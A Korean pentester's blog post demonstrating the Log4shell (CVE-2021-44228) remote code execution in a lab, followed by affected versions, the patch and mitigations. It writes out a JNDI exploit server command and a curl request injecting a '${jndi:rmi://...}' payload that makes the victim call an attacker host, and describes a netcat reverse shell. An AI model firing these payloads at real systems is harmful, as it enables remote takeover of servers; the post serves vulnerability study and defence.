본문 바로가기
  • 프로게이머 출신 모의해커의 일상
Hacking/Vulnerability

Log4shell (CVE-2021-44228) RCE POC

by kargan 2021. 12. 14.

2021년 12월 10일 JAVA의 log4j2에서 0-day 취약점이 공개 되었습니다.
무려 RCE가 가능한 취약점이고 로그만 쌓을 수 있다면 어떤 환경에서든 공격이 가능하다는 점에서 정말 어마어마한 취약점 입니다. ㄷㄷㄷ

Log4shell ?

위에서 설명한 0-day 취약점으로 CVE-2021-44228의 별칭으로 log4shell이라고 부릅니다.
해당 취약점은 log4j에서 발견되었고 공격방법 또한 쉬워서 파급력이 클 것으로 판단됩니다.
그럼 바로 테스트를 진행해 보겠습니다.

 

PenTesting

Attacker IP 192.168.20.129
Victim IP 192.168.20.130

- Attacker Server Setting

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "192.168.20.129" -C "touch /tmp/kargan"
 

attacker server setting

공격이 성공한다면 /tmp 디렉토리 내에 kargan 이라는 파일이 생성되는 공격입니다.

- Victim Server Setting

java -jar log4jRCE-0.0.1-SNAPSHOT.jar

 

victim server setting

- Test

curl -X POST 'http://192.168.20.130:8080/login' --data-urlencode 'data=${jndi:rmi://192.168.20.129:1099/spring}'

attack!!

공격 시도 후 성공하면 log4j2 success! 메시지 출력됩니다.

attacker server log
attack result

${jndi:rmi://192.168.20.129:1099/spring} 구문으로 인해 취약한 log4j가 JNDI를 통해 공격자 서버에 요청을 전송하게 되며 위에 준비한 JNDI Exploit이 작동을 하게 됩니다.(공격 흐름도는 밑에서 확인가능)
테스트 공격이 성공하여 /tmp/kargan 파일이 생성된 것을 알 수 있습니다.

- Exploit

테스트가 끝났으니 이제 실제 공격이 일어날 만한 상황을 가정하여 공격 시도해 봅니다.
** nc(netcat) 을 이용한 리버스 쉘로 희생자 서버에 침투해보는 테스트를 진행함. **

nc reverse shell attack

실제 공격이 성공하여 희생자 서버에 침투가 가능한 것을 확인합니다.
웹서버 뿐만 아니라 ghidra나 마인크래프트 같은 윈도우 프로그램도 공격 대상이 됩니다.
환경만 맞다면 윈도우 리눅스 가리지 않고 공격이 가능하여 아주 대단한 파급력을 가진 취약점 입니다.

취약버전 / 대응 or 완화(?) 방안

취약한 버전 log4j 2.0 ~ 2.14.1
패치 버전 log4j 2.15
대응 및 완화 방법 2.10 이상 : log4j2.formatMsgNoLookups=true
  2.10 미만 : JndiLookup Class 를 classpath에서 제거

대응 및 완화방법이라고 나와 있지만 우회방법이 너무 방대하여 막기가 쉽지 않을 것 같습니다..

취약점 실행 흐름도

출처:https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j


References

  • https://github.com/archongum/cve-2021-44228-log4j
  • https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j


** 연구 목적으로 테스트를 진행한 것으로 이를 보고 실제 공격에 활용한다면 그 책임은 모두 공격한 본인의 것임을 명시합니다.**

댓글